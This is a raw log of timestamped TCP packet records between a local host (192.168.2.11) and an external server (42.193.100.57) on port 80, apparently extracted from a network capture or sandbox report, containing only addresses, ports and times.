Nov 20, 2024 09:14:55.624890089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.624902010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.624927998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.624974966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.624974966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625091076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625149965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625161886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625174046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625196934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625201941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625226021 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625236988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625247955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625276089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625277042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625277042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625288963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625332117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625375986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625389099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625400066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625423908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625448942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625503063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625514984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625525951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625535965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625545979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625556946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625559092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625559092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625570059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625585079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625602961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625627995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625638962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625650883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625660896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625670910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625682116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625693083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625699997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625710964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625750065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625849962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625861883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625873089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625885010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625894070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625905037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625917912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.625920057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625920057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625932932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.625993967 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626008987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626019955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626029015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626039982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626049995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626060963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626066923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626085997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626111031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626178980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626189947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626199961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626209974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626234055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626234055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626247883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626257896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626267910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626275063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626280069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626290083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626291990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626303911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626315117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626324892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626324892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626326084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626357079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626368999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626373053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626373053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626382113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626415014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626415014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626457930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626688957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626699924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626709938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626720905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626732111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626738071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626738071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626738071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626749039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626760006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626765013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626771927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626781940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626792908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626800060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626800060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626802921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626811028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626843929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626846075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626846075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626856089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626868963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626883030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.626895905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626913071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.626919985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627068043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627080917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627090931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627101898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627110004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627114058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627125025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627135992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627140999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627146959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627160072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627161980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627170086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627182007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627192020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627197027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627197027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627203941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627217054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627227068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627239943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627239943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627268076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627461910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627480984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627491951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627501965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627512932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627521038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627521038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627522945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627536058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627537012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627547026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627557993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627568007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627578020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627579927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627579927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627588987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627599955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627609968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627612114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627612114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627621889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627631903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627641916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627652884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627665043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627670050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627670050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627702951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627702951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627832890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627846003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627856016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627866983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.627886057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.627923965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.712507010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.712522030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.712533951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.712587118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.712619066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.712646961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.712718010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.712821960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.712833881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.712893963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713265896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713278055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713291883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713301897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713313103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713324070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713335037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713340998 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713340998 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713347912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713370085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713376999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713388920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713399887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713411093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713412046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713423967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713429928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713438034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713448048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713448048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713500977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713510990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713515043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713526011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713536978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713550091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713551044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713561058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713562965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713579893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713591099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713603020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713610888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713624954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713645935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713685036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713685036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713787079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713807106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713818073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713845968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713855982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713864088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713864088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713869095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713881016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713893890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.713913918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.713913918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714004993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714016914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714016914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714032888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714044094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714054108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714061975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714071035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714082003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714088917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714092970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714104891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714106083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714117050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714128017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714138985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714149952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714149952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714157104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714184999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714200974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714210987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714211941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714210987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714222908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714225054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714242935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714250088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714256048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714287043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714293957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714293957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714299917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.714334011 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714334011 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.714342117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.898883104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.898900032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.898911953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.898922920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.898932934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.898943901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.898956060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.898977995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.898979902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.898999929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899009943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899019957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899030924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899030924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899032116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899043083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899044991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899059057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899069071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899080038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899091005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899096012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899096012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899104118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899135113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899147034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899158001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899158955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899250984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899574995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899585009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899600029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899610043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899620056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899631023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899636030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899643898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899650097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899663925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899676085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899687052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899710894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899734974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899748087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899756908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899763107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899768114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899768114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899774075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899785995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899796963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899799109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899813890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899826050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899832964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899837017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899852037 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899854898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899868965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899885893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899885893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899890900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899904966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899915934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899923086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899933100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899941921 CET	49701	80	192.168.2.11	42.193.100.57
